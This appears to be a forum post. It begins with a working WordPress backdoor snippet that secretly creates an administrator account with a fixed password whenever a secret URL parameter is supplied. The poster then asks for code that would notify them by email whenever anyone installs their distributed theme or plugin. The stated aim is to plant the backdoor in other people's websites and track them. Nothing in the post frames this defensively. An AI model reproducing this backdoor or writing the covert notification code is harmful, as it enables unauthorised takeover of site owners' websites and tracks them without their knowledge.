Create a backdoor to a WordPress website.

backdoor.php

<?php
add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'mr_admin' ) ) {
            $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
    }
}

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those codes kindly help me... I need to learn it also, Thank you